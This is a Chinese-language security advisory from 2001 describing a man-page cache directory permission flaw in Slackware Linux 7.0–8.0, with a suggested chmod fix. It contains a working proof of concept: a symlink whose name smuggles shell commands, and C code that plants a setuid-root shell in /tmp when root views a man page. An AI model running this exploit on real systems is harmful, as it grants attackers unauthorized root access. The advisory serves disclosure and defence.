首页 -> 安全研究

安全研究

安全漏洞
Slackware man手册缓冲目录权限设置缺陷

发布日期:2001-07-17
更新日期:2001-07-25

受影响系统:

    Slackware Linux 8.0
    Slackware Linux 7.1
    Slackware Linux 7.0
描述:

BUGTRAQ ID: 3054

Slackware Linux 存在一个权限设置错误,允许本地用户在系统man手册缓冲目录里
创建文件。攻击者可能创建一个恶意的man手册缓冲文件,其他用户查看相应man手册
时,夹杂其中的代码得到执行。

<* 来源:(josh@pulltheplug.org) *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

下述测试方法由josh@pulltheplug.org提供

ln -s "/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;
export PATH=.;script;man.7.gz" /var/man/cat7/man.7.gz

当root执行"/usr/bin/man man"时,将创建/var/man/cat7/man.7.gz。由于存在前述
符号链接,导致在/usr/man/man7目录下创建一个文件,名为
"/usr/man/man7/man.7.gz;cd;cd ..;cd ..;cd ..;cd ..;cd tmp;
exportPATH=.;script;man.7.gz."

即将被执行的/tmp/script如下:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>

int main()
{
FILE *fil;
mode_t perm = 06711;

if(!getuid()) {
fil = fopen("/tmp/bleh.c","w");
fprintf(fil,"%s\n","#include <unistd.h>");
fprintf(fil,"%s\n","#include <stdio.h>");
fprintf(fil,"%s\n","int main() {");
fprintf(fil,"%s\n","setreuid(0,0);setregid(0,0);");
fprintf(fil,"%s\n","execl(\"/bin/su\",\"su\",NULL);");
fprintf(fil,"%s\n","return 0; }");
fclose(fil);
system("/usr/bin/gcc -o /tmp/bleh /tmp/bleh.c");
unlink("/tmp/bleh.c");
chmod("/tmp/bleh", perm);
}
execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL);
return 0;
}


建议:

临时解决办法:

修改man手册缓冲目录的权限设置,chmod 700 /var/man/cat

厂商补丁:

暂无

浏览次数:4812
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障